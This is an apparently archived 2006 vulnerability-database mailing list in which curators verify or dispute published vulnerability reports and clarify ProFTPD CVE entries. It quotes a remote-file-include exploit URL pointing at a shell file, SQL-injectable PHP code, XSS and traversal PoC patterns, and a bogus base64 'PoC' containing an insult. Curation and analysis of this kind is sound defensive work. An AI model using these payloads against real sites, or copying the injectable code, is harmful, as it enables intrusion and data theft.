week I blogged about the MoKB: http://osvdb.org/blog/?p=145 At the end I asked what other people would like to see: In the months and years to come, what else will we see? What would you like to see the most.. Month of ______ Bugs. One of our guys wanted a Month of Database Bugs! I guess a Week of Oracle will suffice =) ---------- Forwarded message ---------- From: Cesar To: full-disclosure at lists.grok.org.uk Date: Mon, 20 Nov 2006 13:25:31 -0800 (PST) Subject: [Full-disclosure] The Week of Oracle Database Bugs The Week of Oracle Database Bugs Based on the great idea of H D Moore "Month of Browser Bugs" and LMH "Month of Kernel Bugs", we are proud to announce that we are starting on December the "Week of Oracle Database Bugs" (WoODB). What is the WoODB about? An Oracle Database 0day will be released every day for a week on December. Why are you doing this? We want to show the current state of Oracle software ("in")security also we want to demostrate Oracle isn't getting any better at securing its products (you already know the history: two years or more to fix a bug, not fixing bugs, failing to fix bugs, lying about security efforts, etc, etc, etc.). Why are you targeting only Oracle? We have 0days for all Database software vendors but Oracle is "The #1 Star" when talking about lots of unpatched vulnerabilities and not caring about security. Why not the Month of Oracle Database Bugs? We could do the Year of Oracle Database Bugs but we think a week is enough to show how flawed Oracle software is, also we don't want to give away all our 0days:), anyways if you want to contribute send your Oracle 0days so this can be extended for another week or more. See: http://www.argeniss.com/woodb.html Cesar. ____________________________________________________________________________________ Sponsored Link Compare mortgage rates for today. Get up to 5 free quotes. Www2.nextag.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From coley at linus.mitre.org Mon Nov 20 20:09:16 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Mon, 20 Nov 2006 20:09:16 -0500 (EST) Subject: [VIM] NIST.org - XSS Hall of Shame (fwd) In-Reply-To: References: Message-ID: On Mon, 20 Nov 2006, security curmudgeon wrote: > On the topic of site specific vulnerabilities.. this list is interesting. > Not only the size of the list, but the fact that NIST is publishing it and > acting as a watchdog of sorts. As the bottom of the site says: "NIST.org is in no way connected to the U.S. government site NIST.gov" :-) Still an interesting list. - Steve From jericho at attrition.org Mon Nov 20 20:12:20 2006 From: jericho at attrition.org (security curmudgeon) Date: Mon, 20 Nov 2006 20:12:20 -0500 (EST) Subject: [VIM] NIST.org - XSS Hall of Shame (fwd) In-Reply-To: References: Message-ID: : > On the topic of site specific vulnerabilities.. this list is interesting. : > Not only the size of the list, but the fact that NIST is publishing it and : > acting as a watchdog of sorts. : : As the bottom of the site says: : : "NIST.org is in no way connected to the U.S. government site NIST.gov" Yah, the top is still misleading. Didn't NIST.gov used to have an eagle on their page? If not, some .gov sites did. The link to the nist.gov resources on the right side too. Add to that the color scheme, and it is pretty deceptive. From coley at mitre.org Tue Nov 21 16:53:45 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 21 Nov 2006 16:53:45 -0500 (EST) Subject: [VIM] Clarifying integer overflows vs. signedness errors Message-ID: <200611212153.kALLrjfP009902@faron.mitre.org> (sent to Bugtraq) A terminology question for people. In this reference: BUGTRAQ:20061115 Re: DragonFlyBSD all versions FireWire IOCTL kernel integer overflow information disclousure http://www.securityfocus.com/archive/1/archive/1/451677/100/0/threaded The issue is being described as an integer overflow. I think of an integer overflow as being: "some computation (addition, multiplication) would produce an integer value that is too large to be stored in the actual memory location, so the integer wraps to some other value." (let's leave integer "underflow" out of this for the moment). However, the relevant code is given as: if (crom_buf->len < len) len = crom_buf->len; ... err = copyout(ptr, crom_buf->ptr, len); Here, the "len" value is not computed in any way, it's simply set. The comparison succeeds because it is in a signed context, but the copyout() is using an unsigned value. So, to me, this doesn't look like an "integer overflow," rather some issue that's directly related to what I call a "signedness error" and what others sometimes refer to as "signed comparison" issues. Based on what I've seen, integer overflows and signedness errors are often closely related, sometimes appearing in the same part of the code, so I think they get confused pretty frequently. Or am I not understanding something basic here? - Steve From coley at mitre.org Tue Nov 21 17:31:53 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 21 Nov 2006 17:31:53 -0500 (EST) Subject: [VIM] CVE dispute for Bloo RFI Message-ID: <200611212231.kALMVrg7003577@faron.mitre.org> Researcher: the_Edit0r Ref: BUGTRAQ:20061116 Bloo => 1.00 Remote File Include Vulnerability http://www.securityfocus.com/archive/1/archive/1/451818/100/0/threaded ># CodE : >include( $descriptorFileList ); In a diff of phoo.base.php (as of 20061110 back to March 2006): http://bloo.cvs.sourceforge.net/bloo/bloo/phoo.base.php?r1=1.1&r2=1.30.2.6 we see that there's no "include( $descriptorFileList );" but, in fact: @include( $descriptorFileList[ 0 ] ); include( $descriptorFileList[ 0 ] ); and similar statements. So, first of all, the claimed code doesn't appear to exist, at least not in recent versions. Second, phoo.base.php (as of 20061110) is laid out as: class PhooSession extends PhooBase { ... function loadThemes( $themeRoot, $virtualThemeLoadCommand = null ) { ... /* read the theme descriptor */ include( $descriptorFileList[ 0 ] ); So, we have a variable use within a function definition. For the version dating back to March 2006, we have: function verifyTheme( $themeRoot, $theme ) { ... @include( $descriptorFileList[ 0 ] ); and function loadTheme( $themeRoot, $theme ) { ... @include( $descriptorFileList[ 0 ] ); So, at best, the original report is incorrect for recent versions of Bloo. - Steve From coley at mitre.org Tue Nov 21 17:50:44 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 21 Nov 2006 17:50:44 -0500 (EST) Subject: [VIM] Vendor ACK for CVE-2006-1243 (older Simple PHP Blog) Message-ID: <200611212250.kALMoiTC006345@faron.mitre.org> This isn't the most recent one. http://sourceforge.net/forum/forum.php?forum_id=564904 Date: 2006-04-22 There is a known vulnerability in version 0.4.7.1 and below. The exploit involves the "install05.php" file. - Steve From jkouns at opensecurityfoundation.org Fri Nov 24 02:59:55 2006 From: jkouns at opensecurityfoundation.org (jkouns) Date: Fri, 24 Nov 2006 02:59:55 -0500 Subject: [VIM] [Fwd: [OSVDB Mods] [Change Request] 22068: Speartek Search Module XSS] Message-ID: <4566A67B.8080903@opensecurityfoundation.org> -------- Original Message -------- Subject: [OSVDB Mods] [Change Request] 22068: Speartek Search Module XSS Date: Tue, 07 Nov 2006 10:59:17 -0500 From: Jesse Heady Reply-To: moderators at osvdb.org To: moderators at osvdb.org This is an official Speartek response to this posted XSS vulnerability. We are aware of numerous existing script vulnerabilities and exploits and stand by the security of our system and our ability to address these. This particular exploit is not particularly serious as no sensitive or private user information is ever held within cookies during our checkout process. All user information and client information is secure in our platform. We take all security threats quite seriously and view the efforts of the author of this particular exploit as harmful to our professional image. This is especially important to note because the particular script vulnerability that has been raised poses no real threat to the stability or security of our systems. Again, we are formally responding to this posted cross-site script vulnerability to communicate that we take all such potential security issues very seriously and this particular issue has been addressed. Thank you. -- Jesse Heady Website Development & Support, SpearTek, Inc. From jericho at attrition.org Sat Nov 25 15:02:14 2006 From: jericho at attrition.org (security curmudgeon) Date: Sat, 25 Nov 2006 15:02:14 -0500 (EST) Subject: [VIM] 26364: CesarFTP MKD Command Remote Overflow (fwd) Message-ID: ---------- Forwarded message ---------- From: f.riphagen@ To: moderators at osvdb.org Date: Sat, 25 Nov 2006 18:45:05 +0100 Reply-To: moderators at osvdb.org Subject: [OSVDB Mods] [Change Request] 26364: CesarFTP MKD Command Remote Overflow Hi, Some add-on information regarding this vulnerability. The same stack overflow is also in version 0.99e, and in both versions at least more commands are vulnerable. the one known are APPE, DELE, RMD, CWD, RETR, MKD Ferdy From theall at tenablesecurity.com Mon Nov 27 16:46:44 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Mon, 27 Nov 2006 16:46:44 -0500 Subject: [VIM] [Full-disclosure] CubeCart <=3.0.14 Bind Sql Injection POC. Message-ID: <456B5CC4.1000400@tenablesecurity.com> There was a recent announcement about a SQL injection flaw in CubeCart posted on Full Disclosure: http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0386.html The PoC presents a web form that, when you hit "Submit", doesn't actually send any requests to a target but just decodes and spits out a string that contains, in part, "Novalok is a fucking moron". Anybody have an idea what the intended impact is? George -- theall at tenablesecurity.com From str0ke at milw0rm.com Mon Nov 27 16:49:37 2006 From: str0ke at milw0rm.com (str0ke) Date: Mon, 27 Nov 2006 15:49:37 -0600 Subject: [VIM] [Full-disclosure] CubeCart <=3.0.14 Bind Sql Injection POC. In-Reply-To: <456B5CC4.1000400@tenablesecurity.com> References: <456B5CC4.1000400@tenablesecurity.com> Message-ID: <814b9d50611271349h2892dbadj6774966ac503a6f7@mail.gmail.com> The author stated that someone hacked his email account and sent it out to the public. /str0ke On 11/27/06, George A. Theall wrote: > There was a recent announcement about a SQL injection flaw in CubeCart > posted on Full Disclosure: > > http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0386.html > > The PoC presents a web form that, when you hit "Submit", doesn't > actually send any requests to a target but just decodes and spits out a > string that contains, in part, "Novalok is a fucking moron". Anybody > have an idea what the intended impact is? > > George > -- > theall at tenablesecurity.com > From jms at bughunter.ca Mon Nov 27 16:53:01 2006 From: jms at bughunter.ca (J. M. Seitz) Date: Mon, 27 Nov 2006 13:53:01 -0800 Subject: [VIM] [Full-disclosure] CubeCart <=3.0.14 Bind Sql InjectionPOC. In-Reply-To: <814b9d50611271349h2892dbadj6774966ac503a6f7@mail.gmail.com> Message-ID: <002e01c7126e$6b4d7790$8119fea9@jseitz> Well isn't that sweet, has someone tested this out at all, aside from the fact that it appears to be a load of shyte? JS -----Original Message----- From: vim-bounces at attrition.org [mailto:vim-bounces at attrition.org] On Behalf Of str0ke Sent: Monday, November 27, 2006 1:50 PM To: Vulnerability Information Managers Subject: Re: [VIM] [Full-disclosure] CubeCart <=3.0.14 Bind Sql InjectionPOC. The author stated that someone hacked his email account and sent it out to the public. /str0ke On 11/27/06, George A. Theall wrote: > There was a recent announcement about a SQL injection flaw in CubeCart > posted on Full Disclosure: > > > http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0386.htm > l > > The PoC presents a web form that, when you hit "Submit", doesn't > actually send any requests to a target but just decodes and spits out > a string that contains, in part, "Novalok is a fucking moron". Anybody > have an idea what the intended impact is? > > George > -- > theall at tenablesecurity.com > From str0ke at milw0rm.com Mon Nov 27 17:12:00 2006 From: str0ke at milw0rm.com (str0ke) Date: Mon, 27 Nov 2006 16:12:00 -0600 Subject: [VIM] [Full-disclosure] CubeCart <=3.0.14 Bind Sql InjectionPOC. In-Reply-To: <002e01c7126e$6b4d7790$8119fea9@jseitz> References: <814b9d50611271349h2892dbadj6774966ac503a6f7@mail.gmail.com> <002e01c7126e$6b4d7790$8119fea9@jseitz> Message-ID: <814b9d50611271412sa901549v57e87e884dff16ae@mail.gmail.com> On 11/27/06, J. M. Seitz wrote: > Well isn't that sweet, has someone tested this out at all, aside from the > fact that it appears to be a load of shyte? > > JS $packetr = "5vdmFsb2sgaXMgYSBmdWNraW5nIG1vcm9uPbiBWdWxuZXF" ."xcXJhYmlsaXR5IGJ1dCB0b28gYmFkIGhlIGhhcXFxcyBub" ."yBpZGVhIHdoYXQgaGVxcXFzIHRhbGtpbmcgYWJvdXQuIGx" ."vbG9vm92YWxvayBpcyBhIGZ1Y2tpbmcgbW9yb249uIFZ1b" ."G5lcXFxcmFiaWxpdHkgYnV0IHRvbyBiYWQgaGUgaGFxcXF" ."zIG5vIGlkZWEgd2hhdCBoZXFxcXMgdGFsa2luZyBhYm91d" ."C4gbG9sb2+b3ZhbG9rIGlzIGEgZnVja2luZyBtb3Jvbj24" ."gVnVsbmVxcXFyYWJpbGl0eSBidXQgdG9vIGJhZCBoZSBoY" ."XFxcXMgbm8gaWRlYSB3aGF0IGhlcXFxcyB0YWxraW5nIGF" ."ib3V0LiBsb2xvb5vdmFsb2sgaXMgYSBmdWNraW5nIG1vcm" ."9uPbiBWdWxuZXFxcXJhYmlsaXR5IGJ1dCB0b28gYmFkIGh" ."lIGhhcXFxcyBubyBpZGVhIHdoYXQgaGVxcXFzIHRhbGtpb" ."mcgYWJvdXQuIGxvbG9vm92YWxvayBpcyBhIGZ1Y2tpbmcg" ."bW9yb249uIFZ1bG5lcXFxcmFiaWxpdHkgYnV0IHRvbyBiY" ."WQgaGUgaGFxcXFzIG5vIGlkZWEgd2hhdCBoZXFxcXMgdGF" ."sa2luZyBhYm91dC4gbG9sb2+b3ZhbG9rIGlzIGEgZnVja2" ."luZyBtb3JvZOb3ZhbG9rIGlzIGEgZnVja2luZyBtb3Jvbu" ."PbiBWdWxuZXFxcXJhYmlsaXR5IGJ1dCB0b28gYmFkIGhlI" ."GhhcXFxcyBubyBpZGVhIHdoYXQgaGVxcXFzIHRhbGtpbmc" ."gYWJvdXQuIGxvbG9vm92YWxvayBpcyBhIGZ1Y2tpbmcgbW" ."9yb249uIFZ1bG5lcXFxcmFiaWxpdHkgYnV0IHRvbyBiYWQ" ."gaGUgaGFxcXFzIG5vIGlkZWEgd2hhdCBoZXFxcXMgdGFsa" ."2luZyBhYm91dC4gbG9sb2+b3ZhbG9rIGlzIGEgZnVja2lu" ."ZyBtb3Jvbj24gVnVsbmVxcXFyYWJpbGl0eSBidXQgdG9vI" ."GJhZCBoZSBoYXFxcXMgbm8gaWRlYSB3aGF0IGhlcXFxcyB" ."0YWxraW5nIGFib3V0LiBsb2xvb5vdmFsb2sgaXMgYSBmdW" ."NraW5nIG1vcm9uPbiBWdWxuZXFxcXJhYmlsaXR5IGJ1dCB" ."0b28gYmFkIGhlIGhhcXFxcyBubyBpZGVhIHdoYXQgaGVxc" ."XFzIHRhbGtpbmcgYWJvdXQuIGxvbG9vm92YWxvayBpcyBh" ."IGZ1Y2tpbmcgbW9yb249uIFZ1bG5lcXFxcmFiaWxpdHkgY" ."nV0IHRvbyBiYWQgaGUgaGFxcXFzIG5vIGlkZWEgd2hhdCB" ."oZXFxcXMgdGFsa2luZyBhYm91dC4gbG9sb2w=="; echo base64_decode($packetr); - The data here only contains bs characters with the phrase "Novalok is a fucking moron" - Don't forget that Novalok is the author. So pretty much this doesn't do a single thing except spit out the phrase above. /str0ke From jms at bughunter.ca Mon Nov 27 17:15:16 2006 From: jms at bughunter.ca (J. M. Seitz) Date: Mon, 27 Nov 2006 14:15:16 -0800 Subject: [VIM] [Full-disclosure] CubeCart <=3.0.14 Bind Sql InjectionPOC. In-Reply-To: <814b9d50611271412sa901549v57e87e884dff16ae@mail.gmail.com> Message-ID: <003301c71271$85a58490$8119fea9@jseitz> >> echo base64_decode($packetr); - The data here only contains bs characters with the phrase "Novalok is a fucking moron" - Don't forget that Novalok is the author. So pretty much this doesn't do a single thing except spit out the phrase above. /str0ke << Yeah I saw that part, but did anyone test the proposed vulnerable package aside from this PoC &*^# pile? Or are we not bothering? JS From jericho at attrition.org Tue Nov 28 06:08:00 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 28 Nov 2006 06:08:00 -0500 (EST) Subject: [VIM] [Aria-Security Team] iNews News Manager SQL Injection In-Reply-To: <20061124085401.8270.qmail@securityfocus.com> References: <20061124085401.8270.qmail@securityfocus.com> Message-ID: : #Method: SQL Injection : # : #PoC: : #http://target/path/articles.asp?ex=[XSS] Is this SQL Injection or Cross-Site Scripting (XSS)? From coley at linus.mitre.org Tue Nov 28 14:03:44 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 28 Nov 2006 14:03:44 -0500 (EST) Subject: [VIM] [Aria-Security Team] iNews News Manager SQL Injection In-Reply-To: References: <20061124085401.8270.qmail@securityfocus.com> Message-ID: It also appears that the affected product might be iNews Publisher; the vendor's demo sites for News Manager don't use an articles.asp (at least not from the main page), but Publisher does. On Tue, 28 Nov 2006, security curmudgeon wrote: > > : #Method: SQL Injection > : # > : #PoC: > : #http://target/path/articles.asp?ex=[XSS] > > Is this SQL Injection or Cross-Site Scripting (XSS)? > From coley at mitre.org Tue Nov 28 17:27:18 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 28 Nov 2006 17:27:18 -0500 (EST) Subject: [VIM] PMOS Help Desk/etc. SQL injection - source verify and more info Message-ID: <200611282227.kASMRI4h011802@faron.mitre.org> Researchers: SwEET-DeViL & viP HaCkEr & HaCkEr sUn Ref: BUGTRAQ:20061122 XSS in scriptat support InverseFlow Help Desk v2.31 URL: http://www.securityfocus.com/archive/1/archive/1/452397/100/0/threaded According to this PMOS Help desk URL: http://www.h2desk.com/pmos/ PMOS is an open source release of a previous incarnation, InverseFlow, and it's also being sold (allegedly illegally) as Ace Helpdesk and possibly others. Also, the download of PMOS Help Desk v2.4 has the following code extracts that verify the SQL injection: ticket.php ---------- $res = mysql_query( "SELECT subject, ticket_id FROM {$pre}ticket WHERE ( email = '{$_GET[email]}' ) ORDER BY date DESC" ); ticketview.php -------------- $exists = get_row_count( "SELECT COUNT(*) FROM {$pre}ticket WHERE ( ticket_id = '{$_GET[id]}' && email = '{$_GET[email]}' )" ); get_row_count() (defined in include.php) feeds directly into a mysql_query() call. FYI, the $_GET values might be set if there's a POST instead. Earlier code (ticketview.php only) says: if( isset( $_POST[id] ) ) { $_GET[id] = $_POST[id]; $_GET[email] = $_POST[email]; } - Steve From str0ke at milw0rm.com Wed Nov 29 13:58:32 2006 From: str0ke at milw0rm.com (str0ke) Date: Wed, 29 Nov 2006 12:58:32 -0600 Subject: [VIM] Fwd: PHP Event Calendar 1.5.1 (index.php) Remote File Include Vulnerability In-Reply-To: <814b9d50611272005i7562b1caqfd220726d76016b@mail.gmail.com> References: <814b9d50611272005i7562b1caqfd220726d76016b@mail.gmail.com> Message-ID: <814b9d50611291058i1914c44bv73eca4f17f4ad7b2@mail.gmail.com> Looks to be false. if(!@include './data/global.php'){ echo "Can't open ./data/global.php"; exit; } once installed the PATHS array is defined as well as the path_to_calendar variable in /data/global.php. install.php ------------------------------------ $PATHS=array( "path_to_calendar" => "'.str_replace("\\","\\\\",$files_path).'", "path_to_calendar_img" => "'.str_replace("\\","\\\\",$img_path).'", "WEB_path_to_calendar_img" => "'.$img_web_path.'", "path_to_data" => "'.str_replace("\\","\\\\",$data_path).'" );'; /str0ke On 11/27/06, philip anselmo wrote: > Title : PHP Event Calendar 1.5.1 (index.php) Remote File Include > Vulnerability > ######################################################################## > ####### > > Discovered By :::: ThE-LoRd-Of-CrAcKiNg {MeHdi} > > ------------------------------------------------------------------------ > Sorce Code: > ********** > http://www.scriptdungeon.com/jump.php?ScriptID=633 > > Affected software description : > ****************************** > Title: PHP Event Calendar > // URL: http://www.softcomplex.com/products/php_event_calendar/ > // Version: 1.5.1 > // Date: 03/04/2005 (mm/dd/yyyy) > // Tech. support: http://www.softcomplex.com/forum/forumdisplay.php?fid=55 > Cat?gorie :Remote File Include > ------------------------------------------------------------------------ > Vulnerable Code: > *************** > include $path_to_calendar."calendar.php"; > > affected file: cl_files/index.php > ---------------------------------------------------------------------- > Exploit: > ******* > http://www.VicTim.com/[Script_Path]/cl_files/index.php?path_to_calendar=Shell.txt? > > > ------------------------------------------------------------------------ > ---- > > greetz: Studio36-DeStRoY-ToOoFA-AsbMay-Mr.3freet-Simba-Disco-Fai?eu-YouSSeF > & all my friends > > Special Greeting:AsbMay's Group & TrYaG TeaM > > channel:www.asb-may.net & www.tryag.com > > contact:spoonman500[at]hotmail[dot]com / ThE-LoRd-Of-CrAcKiNg at hotmail.com > > _________________________________________________________________ > MSN Messenger : discutez en direct avec vos amis ! > http://www.msn.fr/msger/default.asp > > From coley at linus.mitre.org Thu Nov 30 09:42:06 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Thu, 30 Nov 2006 09:42:06 -0500 (EST) Subject: [VIM] ProFTPD issues clarification Message-ID: The recent ProFTPD disclosures have introduced a number of errors or inconsistencies from different sources, but it looks like ProFTPD and the distros have sorted it out. See below; I consulted with vendor-sec and ProFTPD to clear this up. Note that mod_tls is a third party module. - Steve ====================================================== Name: CVE-2006-5815 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5815 Reference: MISC:http://gleg.net/vulndisco_meta.shtml Reference: CONFIRM:http://bugs.proftpd.org/show_bug.cgi?id=2858 Reference: CONFIRM:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=214820 Reference: DEBIAN:DSA-1218 Reference: URL:http://www.debian.org/security/2006/dsa-1218 Reference: MANDRIVA:MDKSA-2006:217 Reference: URL:http://frontal2.mandriva.com/security/advisories?name=MDKSA-2006:217 Reference: OPENPKG:OpenPKG-SA-2006.035 Reference: URL:http://www.openpkg.org/security/advisories/OpenPKG-SA-2006.035-proftpd.html Reference: BID:20992 Reference: URL:http://www.securityfocus.com/bid/20992 Reference: FRSIRT:ADV-2006-4451 Reference: URL:http://www.frsirt.com/english/advisories/2006/4451 Reference: SECTRACK:1017167 Reference: URL:http://securitytracker.com/id?1017167 Reference: SECUNIA:22803 Reference: URL:http://secunia.com/advisories/22803 Reference: SECUNIA:22821 Reference: URL:http://secunia.com/advisories/22821 Reference: SECUNIA:23000 Reference: URL:http://secunia.com/advisories/23000 Reference: SECUNIA:23069 Reference: URL:http://secunia.com/advisories/23069 Reference: XF:proftpd-code-execution(30147) Reference: URL:http://xforce.iss.net/xforce/xfdb/30147 Stack-based buffer overflow in the sreplace function in ProFTPD 1.3.0 and earlier, allows remote attackers to cause a denial of service, as demonstrated by vd_proftpd.pm, a "ProFTPD remote exploit." ====================================================== Name: CVE-2006-6170 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6170 Reference: BUGTRAQ:20061121 Re: [ MDKSA-2006:217 ] - Updated proftpd packages fix vulnerabilities Reference: URL:http://www.securityfocus.com/archive/1/archive/1/452228/100/100/threaded Reference: BUGTRAQ:20061128 ProFTPD mod_tls pre-authentication buffer overflow Reference: URL:http://www.securityfocus.com/archive/1/archive/1/452872/100/0/threaded Reference: FULLDISC:20061128 ProFTPD mod_tls pre-authentication buffer overflow Reference: URL:http://lists.grok.org.uk/pipermail/full-disclosure/2006-November/050935.html Reference: MISC:http://elegerov.blogspot.com/2006/10/do-you-remember-2-years-old-overflow.html Reference: CONFIRM:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=214820 Reference: FRSIRT:ADV-2006-4745 Reference: URL:http://www.frsirt.com/english/advisories/2006/4745 Reference: SECUNIA:23141 Reference: URL:http://secunia.com/advisories/23141 Buffer overflow in the tls_x509_name_oneline function in the mod_tls module, as used in ProFTPD 1.3.0a and earlier, and possibly other products, allows remote attackers to execute arbitrary code via a large data length argument, a different vulnerability than CVE-2006-5815. ====================================================== Name: CVE-2006-6171 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171 Reference: CONFIRM:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=214820 Reference: MISC:http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?r1=1.292&r2=1.293&sortby=date ** DISPUTED ** ProFTPD 1.3.0a and earlier does not properly set the buffer size limit when CommandBufferSize is specified in the configuration file, which leads to an off-by-two buffer underflow. NOTE: in November 2006, the role of CommandBufferSize was originally associated with CVE-2006-5815, but this was an error stemming from an initial vague disclosure. NOTE: ProFTPD developers dispute this issue, saying that the relevant memory location is overwritten by assignment before further use within the affected function, so this is not a vulnerability. From nikns at secure.lv Thu Nov 30 09:59:19 2006 From: nikns at secure.lv (Nikns Siankin) Date: Thu, 30 Nov 2006 16:59:19 +0200 Subject: [VIM] ProFTPD issues clarification In-Reply-To: References: Message-ID: <20061130145919.GA12173@secure.lv> If interested: http://elegerov.blogspot.com/ On Thu, Nov 30, 2006 at 09:42:06AM -0500, Steven M. Christey wrote: > >The recent ProFTPD disclosures have introduced a number of errors or >inconsistencies from different sources, but it looks like ProFTPD and the >distros have sorted it out. See below; I consulted with vendor-sec and >ProFTPD to clear this up. Note that mod_tls is a third party module. > >- Steve > > >====================================================== >Name: CVE-2006-5815 >Status: Candidate >URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5815 >Reference: MISC:http://gleg.net/vulndisco_meta.shtml >Reference: CONFIRM:http://bugs.proftpd.org/show_bug.cgi?id=2858 >Reference: CONFIRM:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=214820 >Reference: DEBIAN:DSA-1218 >Reference: URL:http://www.debian.org/security/2006/dsa-1218 >Reference: MANDRIVA:MDKSA-2006:217 >Reference: URL:http://frontal2.mandriva.com/security/advisories?name=MDKSA-2006:217 >Reference: OPENPKG:OpenPKG-SA-2006.035 >Reference: URL:http://www.openpkg.org/security/advisories/OpenPKG-SA-2006.035-proftpd.html >Reference: BID:20992 >Reference: URL:http://www.securityfocus.com/bid/20992 >Reference: FRSIRT:ADV-2006-4451 >Reference: URL:http://www.frsirt.com/english/advisories/2006/4451 >Reference: SECTRACK:1017167 >Reference: URL:http://securitytracker.com/id?1017167 >Reference: SECUNIA:22803 >Reference: URL:http://secunia.com/advisories/22803 >Reference: SECUNIA:22821 >Reference: URL:http://secunia.com/advisories/22821 >Reference: SECUNIA:23000 >Reference: URL:http://secunia.com/advisories/23000 >Reference: SECUNIA:23069 >Reference: URL:http://secunia.com/advisories/23069 >Reference: XF:proftpd-code-execution(30147) >Reference: URL:http://xforce.iss.net/xforce/xfdb/30147 > >Stack-based buffer overflow in the sreplace function in ProFTPD 1.3.0 >and earlier, allows remote attackers to cause a denial of service, as >demonstrated by vd_proftpd.pm, a "ProFTPD remote exploit." > > >====================================================== >Name: CVE-2006-6170 >Status: Candidate >URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6170 >Reference: BUGTRAQ:20061121 Re: [ MDKSA-2006:217 ] - Updated proftpd packages fix vulnerabilities >Reference: URL:http://www.securityfocus.com/archive/1/archive/1/452228/100/100/threaded >Reference: BUGTRAQ:20061128 ProFTPD mod_tls pre-authentication buffer overflow >Reference: URL:http://www.securityfocus.com/archive/1/archive/1/452872/100/0/threaded >Reference: FULLDISC:20061128 ProFTPD mod_tls pre-authentication buffer overflow >Reference: URL:http://lists.grok.org.uk/pipermail/full-disclosure/2006-November/050935.html >Reference: MISC:http://elegerov.blogspot.com/2006/10/do-you-remember-2-years-old-overflow.html >Reference: CONFIRM:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=214820 >Reference: FRSIRT:ADV-2006-4745 >Reference: URL:http://www.frsirt.com/english/advisories/2006/4745 >Reference: SECUNIA:23141 >Reference: URL:http://secunia.com/advisories/23141 > >Buffer overflow in the tls_x509_name_oneline function in the mod_tls >module, as used in ProFTPD 1.3.0a and earlier, and possibly other >products, allows remote attackers to execute arbitrary code via a >large data length argument, a different vulnerability than >CVE-2006-5815. > > >====================================================== >Name: CVE-2006-6171 >Status: Candidate >URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171 >Reference: CONFIRM:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=214820 >Reference: MISC:http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?r1=1.292&r2=1.293&sortby=date > >** DISPUTED ** > >ProFTPD 1.3.0a and earlier does not properly set the buffer size limit >when CommandBufferSize is specified in the configuration file, which >leads to an off-by-two buffer underflow. NOTE: in November 2006, the >role of CommandBufferSize was originally associated with >CVE-2006-5815, but this was an error stemming from an initial vague >disclosure. NOTE: ProFTPD developers dispute this issue, saying that >the relevant memory location is overwritten by assignment before >further use within the affected function, so this is not a >vulnerability. > > From coley at mitre.org Thu Nov 30 18:00:27 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 30 Nov 2006 18:00:27 -0500 (EST) Subject: [VIM] Wabbit directory traversal - uncertain impact; enomphp uncertainty Message-ID: <200611302300.kAUN0Rar002906@faron.mitre.org> Researcher: the_3dit0r Ref: Wabbit PHP Gallery => 0.9 Remote Traversal Directory http://www.securityfocus.com/archive/1/archive/1/452170/100/100/threaded Seems kinda weird to see a filename manipulation in a parameter named "dir". Source inspection of 0.9 shows the following. NOTE: I'm not *sure*. index.php: show_the_gallery($_GET["offset"],$images_on_page,$_GET["dir"],$popup,$case,$extra); // Gallery display function script.php: function show_the_gallery($offset,$images_per_page,$dir,$popup,$case,$extra){ $thumbnail_dir = "./$dir/thumbs/"; $image_dir = "./$dir/images/"; if (file_exists($dir)){ $readdir = opendir("$thumbnail_dir"); ... [populate $gallery array with filenames from $readdir] ... if ($gallery[$i]){ $dimensions = getimagesize($image_dir.$gallery[$i]); $size = filesize($image_dir.$gallery[$i])/1024; $name = explode('.',$gallery[$i]); if ($popup == "0"){ $image_href = ''; }else{ $image_href = ''; So, this looks like processing that's happening on directories, and at best you might be able to list filenames and certain properties. But the_Edit0r's demonstration exploit doesn't make sense, since the resulting pathnames would be "./../..[]/etc/passwd/thumbs/" and so on. Again, though, I'm not sure on this. Note - enomphp, also reported by the same researcher, also has a filename in a "dir" parameter. This product appears to be largely discontinued, but a copy is at http://ftp3.ie.freebsd.org/pub/sourceforge/e/en/enomphp/ . Quick source inspection of the PHP4 and PHP3 versions of enomphp was not able to find a "dir" parameter, although sometimes a $dir variable was set to a static value, e.g. $dir = dir($dirplayer); in rankml_inside.php, where $dirplayer is set to a static value in config.php. - Steve From coley at mitre.org Thu Nov 30 19:14:46 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 30 Nov 2006 19:14:46 -0500 (EST) Subject: [VIM] source VERIFY - PEGames RFI Message-ID: <200612010014.kB10Ekcw004183@faron.mitre.org> Researcher: DeltahackingTEAM Ref: http://www.milw0rm.com/exploits/2840 We have another variable extraction issue. These are fun to find, even though you always have to remember to look out for them. 1) "Download" URL provided in advisory has no "Index.php", rather, an "index.php". 2) index.php has: include_once("./settings.php"); ... include_once("$abs_url/display.php"); 3) settings.php sets $abs_url to a constant value. A-ha! Looks like typical dispute (wanna guess what my original subject line said?) 4) BUT... the next lines in index.php after that include are: $types_to_register = array('GET', 'POST', 'COOKIE', 'SESSION', 'SERVER', 'FILES'); foreach ($types_to_register as $type) { $arr 